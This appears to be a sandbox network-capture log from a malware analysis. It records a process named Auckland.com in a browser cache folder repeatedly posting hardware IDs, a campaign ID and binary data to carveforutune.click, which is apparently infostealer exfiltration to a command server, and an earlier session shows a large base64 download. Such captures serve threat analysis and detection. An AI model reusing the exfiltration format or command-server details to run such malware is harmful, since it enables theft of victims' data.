2025-01-05 17:25:38 UTC	1369	IN	Data Raw: 70 37 38 38 53 72 67 69 44 51 77 52 2b 77 35 31 6e 37 72 2f 32 4e 4e 43 44 6d 7a 75 32 2f 46 35 50 72 63 6f 43 5a 4c 62 72 4b 6e 67 2f 48 68 4e 70 6d 52 51 54 54 58 77 46 48 44 56 71 62 58 4e 6d 6b 4d 4f 4c 37 57 64 75 7a 74 36 73 7a 78 41 78 70 61 4d 6f 4f 7a 39 66 45 36 78 5a 52 55 43 66 76 59 65 66 35 2f 39 70 39 47 45 51 68 31 69 72 39 76 38 65 58 72 73 5a 41 71 4d 30 36 4f 70 37 66 52 34 51 61 70 69 55 46 34 32 2f 68 39 7a 31 36 43 2b 78 35 5a 49 42 53 65 31 69 65 6c 32 50 72 6f 6f 51 4e 43 57 71 72 57 6e 71 54 78 6f 74 32 46 46 53 6a 32 34 42 7a 48 47 35 62 62 4e 30 78 31 43 4c 4c 69 58 38 48 49 78 76 79 41 45 6e 74 75 6d 6f 2b 6e 34 63 45 57 73 5a 55 64 42 4f 2f 41 53 64 74 71 70 76 4d 4b 42 52 67 4e 73 2b 4e 76 38 62 58 72 73 5a 43 65 74 34 59 37 Data Ascii: p788SrgiDQwR+w51n7r/2NNCDmzu2/F5PrcoCZLbrKng/HhNpmRQTTXwFHDVqbXNmkMOL7Wduzt6szxAxpaMoOz9fE6xZRUCfvYef5/9p9GEQh1ir9v8eXrsZAqM06Op7fR4QapiUF42/h9z16C+x5ZIBSe1iel2ProoQNCWqrWnqTxot2FFSj24BzHG5bbN0x1CLLiX8HIxvyAEntumo+n4cEWsZUdBO/ASdtqpvMKBRgNs+Nv8bXrsZCet4Y7
2025-01-05 17:25:38 UTC	1369	IN	Data Raw: 67 32 6e 65 68 55 55 66 74 51 62 63 4e 54 6c 72 6f 2b 4b 42 51 55 67 39 73 4f 37 63 6a 4b 38 4b 67 4f 59 33 61 47 68 35 76 68 36 53 4b 68 6c 57 6b 73 33 2f 78 68 35 7a 61 4b 38 79 4a 4e 4f 43 79 61 79 6d 76 41 31 64 50 51 6a 47 4e 36 4f 37 5a 2f 67 35 32 78 4f 34 48 30 62 56 58 37 2f 46 44 2b 48 35 62 7a 54 6b 6b 41 51 4b 4c 6d 51 36 58 34 38 74 43 45 53 6d 64 71 6e 6f 75 54 35 63 55 36 6f 63 46 56 42 50 75 6f 4b 65 64 53 72 38 59 2f 54 51 68 70 73 37 74 76 4b 59 6a 48 30 4f 30 36 48 6c 71 71 68 70 36 6b 38 54 71 70 76 57 31 34 36 2f 68 4e 38 30 61 32 30 79 5a 64 50 44 79 4f 39 6b 66 4a 39 4f 72 73 68 43 4a 58 51 6f 36 7a 68 2f 58 45 4e 37 69 4a 53 56 48 36 67 57 46 6a 46 71 4c 66 57 67 6e 41 46 4c 4f 66 62 35 44 73 6a 39 43 4d 4d 33 6f 37 74 6f 4f 76 37 Data Ascii: g2nehUUftQbcNTlro+KBQUg9sO7cjK8KgOY3aGh5vh6SKhlWks3/xh5zaK8yJNOCyaymvA1dPQjGN6O7Z/g52xO4H0bVX7/FD+H5bzTkkAQKLmQ6X48tCESmdqnouT5cU6ocFVBPuoKedSr8Y/TQhps7tvKYjH0O06Hlqqhp6k8TqpvW146/hN80a20yZdPDyO9kfJ9OrshCJXQo6zh/XEN7iJSVH6gWFjFqLfWgnAFLOfb5Dsj9CMM3o7toOv7
2025-01-05 17:25:38 UTC	1369	IN	Data Raw: 39 50 44 43 47 32 41 54 2f 59 71 66 47 5a 30 30 73 50 4b 72 65 61 38 33 30 36 73 69 34 45 6e 64 2b 75 71 75 37 33 64 30 36 71 62 56 4a 4b 4f 76 67 54 65 4e 47 6a 74 4d 71 61 42 55 78 73 73 59 4f 37 4c 58 71 53 42 78 4b 4d 35 4b 4f 75 2f 4c 46 6a 41 37 6b 69 55 6b 42 2b 6f 46 68 30 31 36 71 6a 78 4a 70 4e 42 69 57 32 6e 2f 46 34 50 62 51 68 44 5a 76 53 6f 36 6e 67 38 58 42 43 70 32 70 61 53 44 37 33 57 44 47 66 6f 71 6d 42 79 77 55 69 4a 36 43 36 39 58 34 6f 39 44 74 4f 68 35 61 71 6f 61 65 70 50 45 4f 70 59 31 31 43 4d 76 41 63 62 64 2b 75 75 4d 36 53 53 67 49 76 74 35 48 7a 5a 7a 79 30 4c 77 69 5a 33 71 6d 6a 39 66 42 7a 44 65 34 69 55 6c 52 2b 6f 46 68 4f 79 61 4b 32 7a 74 46 73 42 54 65 33 6b 66 68 2b 4e 76 51 37 54 6f 65 57 71 71 47 6e 71 54 78 41 72 Data Ascii: 9PDCG2AT/YqfGZ00sPKrea8306si4End+uqu73d06qbVJKOvgTeNGjtMqaBUxssYO7LXqSBxKM5KOu/LFjA7kiUkB+oFh016qjxJpNBiW2n/F4PbQhDZvSo6ng8XBCp2paSD73WDGfoqmBywUiJ6C69X4o9DtOh5aqoaepPEOpY11CMvAcbd+uuM6SSgIvt5HzZzy0LwiZ3qmj9fBzDe4iUlR+oFhOyaK2ztFsBTe3kfh+NvQ7ToeWqqGnqTxAr
2025-01-05 17:25:38 UTC	1369	IN	Data Raw: 6e 75 42 39 7a 6e 2f 33 78 79 70 31 41 41 79 43 38 6e 50 56 6e 4f 37 34 6f 41 5a 6e 52 70 72 2f 73 34 33 64 46 6f 32 78 64 52 54 37 32 47 48 37 53 70 66 47 50 30 30 49 61 62 4f 37 62 33 6c 59 74 6f 69 35 43 76 63 47 37 70 2b 44 39 61 6b 61 68 59 55 4e 42 4c 72 68 57 50 38 36 69 6f 49 48 4c 55 78 49 37 73 59 53 31 62 48 71 7a 4b 45 44 47 6c 71 61 69 36 66 78 33 53 61 6c 6e 58 55 38 37 2f 52 4a 7a 30 36 53 35 79 4a 6c 41 42 79 71 38 6d 50 56 36 4f 37 67 67 43 5a 44 66 37 65 4f 6e 39 6d 51 4e 2b 43 4a 6a 58 44 6e 67 46 57 2b 64 6c 37 4c 51 67 6c 41 50 50 4c 44 5a 31 48 59 32 74 79 45 48 6a 70 61 79 34 2f 36 78 65 30 48 67 4f 68 56 4d 4f 76 51 62 65 4e 47 71 76 4d 36 55 54 67 30 6d 75 49 6e 30 63 44 4b 34 4c 41 32 4d 33 4b 65 2f 37 76 68 78 51 36 68 77 56 67 Data Ascii: nuB9zn/3xyp1AAyC8nPVnO74oAZnRpr/s43dFo2xdRT72GH7SpfGP00IabO7b3lYtoi5CvcG7p+D9akahYUNBLrhWP86ioIHLUxI7sYS1bHqzKEDGlqai6fx3SalnXU87/RJz06S5yJlAByq8mPV6O7ggCZDf7eOn9mQN+CJjXDngFW+dl7LQglAPPLDZ1HY2tyEHjpay4/6xe0HgOhVMOvQbeNGqvM6UTg0muIn0cDK4LA2M3Ke/7vhxQ6hwVg
2025-01-05 17:25:38 UTC	1369	IN	Data Raw: 62 64 6d 6d 70 38 4c 55 65 7a 77 4d 76 59 33 36 65 44 47 34 47 6a 36 4c 31 61 4f 6a 34 4f 64 74 44 65 34 69 57 67 78 6d 77 56 67 33 6e 35 72 2f 67 59 73 46 57 6d 79 44 6d 50 56 37 50 61 49 31 54 62 37 64 75 36 7a 71 2b 6e 41 50 6f 57 39 46 53 33 36 32 57 48 6d 66 2f 65 47 50 30 30 45 54 62 4f 37 4c 71 53 35 76 35 33 4e 51 7a 4d 6e 6a 74 4b 66 6e 50 42 58 79 4c 42 56 65 66 71 42 59 4f 4e 79 33 6f 38 65 51 55 77 46 72 69 4b 58 62 66 6a 61 33 4b 41 47 5a 6c 75 50 74 36 4c 45 6b 64 4f 42 68 52 31 35 78 36 51 35 79 7a 36 4c 39 79 59 4a 49 44 6d 7a 34 32 37 64 78 4d 62 67 68 42 34 36 5a 76 37 33 73 2f 57 6f 42 70 48 41 56 41 6e 37 70 45 33 44 4e 71 37 61 4f 67 6c 4d 50 50 4c 57 65 2f 44 6b 79 70 53 6b 4d 33 70 6a 74 75 4f 7a 39 65 6b 43 31 4c 55 52 61 50 65 34 Data Ascii: bdmmp8LUezwMvY36eDG4Gj6L1aOj4OdtDe4iWgxmwVg3n5r/gYsFWmyDmPV7PaI1Tb7du6zq+nAPoW9FS362WHmf/eGP00ETbO7LqS5v53NQzMnjtKfnPBXyLBVefqBYONy3o8eQUwFriKXbfja3KAGZluPt6LEkdOBhR15x6Q5yz6L9yYJIDmz427dxMbghB46Zv73s/WoBpHAVAn7pE3DNq7aOglMPPLWe/DkypSkM3pjtuOz9ekC1LURaPe4
2025-01-05 17:25:38 UTC	1369	IN	Data Raw: 71 66 47 30 33 70 4d 62 4b 37 62 6f 7a 55 50 74 79 6f 4f 6d 63 43 38 34 4d 48 79 65 30 75 6a 62 45 4a 64 66 72 5a 59 65 5a 2f 39 34 34 2f 54 51 52 4e 73 37 73 75 70 4c 6d 2f 6e 63 31 44 4d 79 65 4f 30 70 2b 63 38 46 66 4d 73 46 56 35 2b 6f 46 67 34 30 61 69 77 77 70 31 47 45 44 36 77 6d 4f 31 32 66 59 6f 61 4a 5a 50 62 71 4b 50 67 7a 30 4a 73 71 6e 4a 59 51 7a 6e 47 4a 6b 6a 4f 6f 71 47 44 74 55 59 55 4c 2f 62 56 75 32 31 36 37 47 51 68 6c 4d 61 67 6f 75 43 78 4d 67 32 6b 49 67 30 4d 47 2f 55 56 65 74 47 69 38 2b 43 5a 56 51 38 6a 73 64 75 31 4e 54 62 30 66 45 43 66 33 4c 32 67 36 50 59 77 53 72 70 6c 46 51 4a 2b 39 6c 67 6e 6e 36 53 37 30 5a 35 4b 42 57 43 77 6c 66 55 31 4a 66 6f 39 51 49 69 57 39 66 36 70 73 57 34 4e 2b 43 49 53 51 6a 50 35 47 33 48 63 Data Ascii: qfG03pMbK7bozUPtyoOmcC84MHye0ujbEJdfrZYeZ/944/TQRNs7supLm/nc1DMyeO0p+c8FfMsFV5+oFg40aiwwp1GED6wmO12fYoaJZPbqKPgz0JsqnJYQznGJkjOoqGDtUYUL/bVu2167GQhlMagouCxMg2kIg0MG/UVetGi8+CZVQ8jsdu1NTb0fECf3L2g6PYwSrplFQJ+9lgnn6S70Z5KBWCwlfU1Jfo9QIiW9f6psW4N+CISQjP5G3Hc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49739	188.114.96.3	443	7128	C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com

Timestamp	Bytes transferred	Direction	Data
2025-01-05 17:25:39 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=WH91PMKU4WYZWV39 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18150 Host: carveforutune.click
2025-01-05 17:25:39 UTC	15331	OUT	Data Raw: 2d 2d 57 48 39 31 50 4d 4b 55 34 57 59 5a 57 56 33 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 41 32 38 43 32 31 33 42 31 35 34 39 42 41 33 39 34 42 42 36 34 38 36 35 35 45 34 46 45 43 45 0d 0a 2d 2d 57 48 39 31 50 4d 4b 55 34 57 59 5a 57 56 33 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 57 48 39 31 50 4d 4b 55 34 57 59 5a 57 56 33 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 6a 4d 77 31 49 45 2d 2d 62 69 67 4a 0d 0a 2d 2d 57 48 39 Data Ascii: --WH91PMKU4WYZWV39Content-Disposition: form-data; name="hwid"BA28C213B1549BA394BB648655E4FECE--WH91PMKU4WYZWV39Content-Disposition: form-data; name="pid"2--WH91PMKU4WYZWV39Content-Disposition: form-data; name="lid"jMw1IE--bigJ--WH9
2025-01-05 17:25:39 UTC	2819	OUT	Data Raw: 68 2f 88 dd e0 cb 99 64 7e e6 28 bf 13 cc 94 75 5e c1 bc c6 a2 f2 ea 27 0a 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af a9 da 16 51 bc 21 Data Ascii: h/d~(u^'f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6Q!
2025-01-05 17:25:40 UTC	1129	IN	HTTP/1.1 200 OK Date: Sun, 05 Jan 2025 17:25:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=g8nvndftua5lhvfvcj76bp2f5b; expires=Thu, 01 May 2025 11:12:18 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=A9CRhJ4YqN5SV3wOSaheNynopyAni9h4dEqa%2FTOYvKvsd%2B01l4bTYZonL3mp3dQ5fGsF0Oh%2FV6bj3g7zyXeQrBXoBrCDs5sDZC2g2AtxedEuQc7OuR9WzEklIVtnNLqgJtvRlebM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd52b39fc1a8cb9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2004&min_rtt=1998&rtt_var=761&sent=10&recv=22&lost=0&retrans=0&sent_bytes=2848&recv_bytes=19113&delivery_rate=1425781&cwnd=184&unsent_bytes=0&cid=7ce133699d041ec8&ts=690&x=0"
2025-01-05 17:25:40 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-05 17:25:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49740	188.114.96.3	443	7128	C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com

Timestamp	Bytes transferred	Direction	Data
2025-01-05 17:25:40 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=25EV8RUNLSVFIPRYL User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8777 Host: carveforutune.click
2025-01-05 17:25:40 UTC	8777	OUT	Data Raw: 2d 2d 32 35 45 56 38 52 55 4e 4c 53 56 46 49 50 52 59 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 41 32 38 43 32 31 33 42 31 35 34 39 42 41 33 39 34 42 42 36 34 38 36 35 35 45 34 46 45 43 45 0d 0a 2d 2d 32 35 45 56 38 52 55 4e 4c 53 56 46 49 50 52 59 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 32 35 45 56 38 52 55 4e 4c 53 56 46 49 50 52 59 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 6a 4d 77 31 49 45 2d 2d 62 69 67 4a 0d 0a 2d 2d Data Ascii: --25EV8RUNLSVFIPRYLContent-Disposition: form-data; name="hwid"BA28C213B1549BA394BB648655E4FECE--25EV8RUNLSVFIPRYLContent-Disposition: form-data; name="pid"2--25EV8RUNLSVFIPRYLContent-Disposition: form-data; name="lid"jMw1IE--bigJ--
2025-01-05 17:25:41 UTC	1133	IN	HTTP/1.1 200 OK Date: Sun, 05 Jan 2025 17:25:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rr6288kv37fvs7s5u33m6gchtk; expires=Thu, 01 May 2025 11:12:19 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kI2tFFyXfDno%2BdgYW2Zf8nYmIlTY%2FX2l%2F%2BvNe8BHG62ZsXIG%2FVRnLzJuKDVc64zlvPCJjxKG302JrSV2j8CGPK0x8zcx9Aa0odqtO1H%2B901rKxahq6TpUZPaSM8QBAYY0gTFvZ7Y"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd52b41b96a1831-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1594&min_rtt=1581&rtt_var=619&sent=7&recv=13&lost=0&retrans=0&sent_bytes=2849&recv_bytes=9718&delivery_rate=1729857&cwnd=235&unsent_bytes=0&cid=c7b04a7ed730a416&ts=576&x=0"
2025-01-05 17:25:41 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-05 17:25:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49741	188.114.96.3	443	7128	C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com

Timestamp	Bytes transferred	Direction	Data
2025-01-05 17:25:41 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=EN93XVPB User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20376 Host: carveforutune.click
2025-01-05 17:25:41 UTC	15331	OUT	Data Raw: 2d 2d 45 4e 39 33 58 56 50 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 41 32 38 43 32 31 33 42 31 35 34 39 42 41 33 39 34 42 42 36 34 38 36 35 35 45 34 46 45 43 45 0d 0a 2d 2d 45 4e 39 33 58 56 50 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 45 4e 39 33 58 56 50 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 6a 4d 77 31 49 45 2d 2d 62 69 67 4a 0d 0a 2d 2d 45 4e 39 33 58 56 50 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 Data Ascii: --EN93XVPBContent-Disposition: form-data; name="hwid"BA28C213B1549BA394BB648655E4FECE--EN93XVPBContent-Disposition: form-data; name="pid"3--EN93XVPBContent-Disposition: form-data; name="lid"jMw1IE--bigJ--EN93XVPBContent-Dispositi
2025-01-05 17:25:41 UTC	5045	OUT	Data Raw: b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9b dc 40 f0 eb b1 64 f0 52 3c 78 29 f8 d7 c1 d7 cc 07 00 00 00 Data Ascii: Mn 64F6(X&7~`aO@dR<x)
2025-01-05 17:25:42 UTC	1141	IN	HTTP/1.1 200 OK Date: Sun, 05 Jan 2025 17:25:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=le8a8gf4bm42qujm0v52ruffle; expires=Thu, 01 May 2025 11:12:21 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jlK%2FwtyaggjJK8Jf5mF89CA%2FLoWMDD5A%2FTtrC9sji7dnCDF%2FvAllW0geNJslfiYKbosMlZ5aOS%2FqA%2BMtinOJCzpjXWDGu5%2Fc3FwIgEfOkSIe0ccqMmiR%2BO0LCeOIPAem9FP1rSL8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd52b497fbec35f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=12320&min_rtt=1550&rtt_var=7097&sent=11&recv=25&lost=0&retrans=0&sent_bytes=2849&recv_bytes=21331&delivery_rate=1883870&cwnd=177&unsent_bytes=0&cid=6bfd96205dd35f87&ts=585&x=0"
2025-01-05 17:25:42 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-05 17:25:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49742	188.114.96.3	443	7128	C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com

Timestamp	Bytes transferred	Direction	Data
2025-01-05 17:25:43 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=MLMOPNG2A3D5ZCY User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 974 Host: carveforutune.click
2025-01-05 17:25:43 UTC	974	OUT	Data Raw: 2d 2d 4d 4c 4d 4f 50 4e 47 32 41 33 44 35 5a 43 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 41 32 38 43 32 31 33 42 31 35 34 39 42 41 33 39 34 42 42 36 34 38 36 35 35 45 34 46 45 43 45 0d 0a 2d 2d 4d 4c 4d 4f 50 4e 47 32 41 33 44 35 5a 43 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4d 4c 4d 4f 50 4e 47 32 41 33 44 35 5a 43 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 6a 4d 77 31 49 45 2d 2d 62 69 67 4a 0d 0a 2d 2d 4d 4c 4d 4f 50 4e Data Ascii: --MLMOPNG2A3D5ZCYContent-Disposition: form-data; name="hwid"BA28C213B1549BA394BB648655E4FECE--MLMOPNG2A3D5ZCYContent-Disposition: form-data; name="pid"1--MLMOPNG2A3D5ZCYContent-Disposition: form-data; name="lid"jMw1IE--bigJ--MLMOPN
2025-01-05 17:25:43 UTC	1130	IN	HTTP/1.1 200 OK Date: Sun, 05 Jan 2025 17:25:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=tobiuj5hlhrcdiqsdt3h46rgm5; expires=Thu, 01 May 2025 11:12:22 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=POqAVTctHxbP5JtfexobrjCdhj08bOcKpN%2BFNzAWSwUyaDl365RE73%2BWfx0l%2FpPSJGmJWhpo4F6JZ8wq%2ByDW%2FfItPVhm5FAnquzBKyALc3U5UK6c9ZOpaELtGDgIy2lmDbsQxwvz"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd52b51ef6542d0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1801&min_rtt=1757&rtt_var=690&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=1890&delivery_rate=1661923&cwnd=207&unsent_bytes=0&cid=4ec509f48d2ae8c9&ts=461&x=0"
2025-01-05 17:25:43 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-05 17:25:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49743	188.114.96.3	443	7128	C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com

Timestamp	Bytes transferred	Direction	Data
2025-01-05 17:25:44 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=191220ZY0CLE User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1092 Host: carveforutune.click
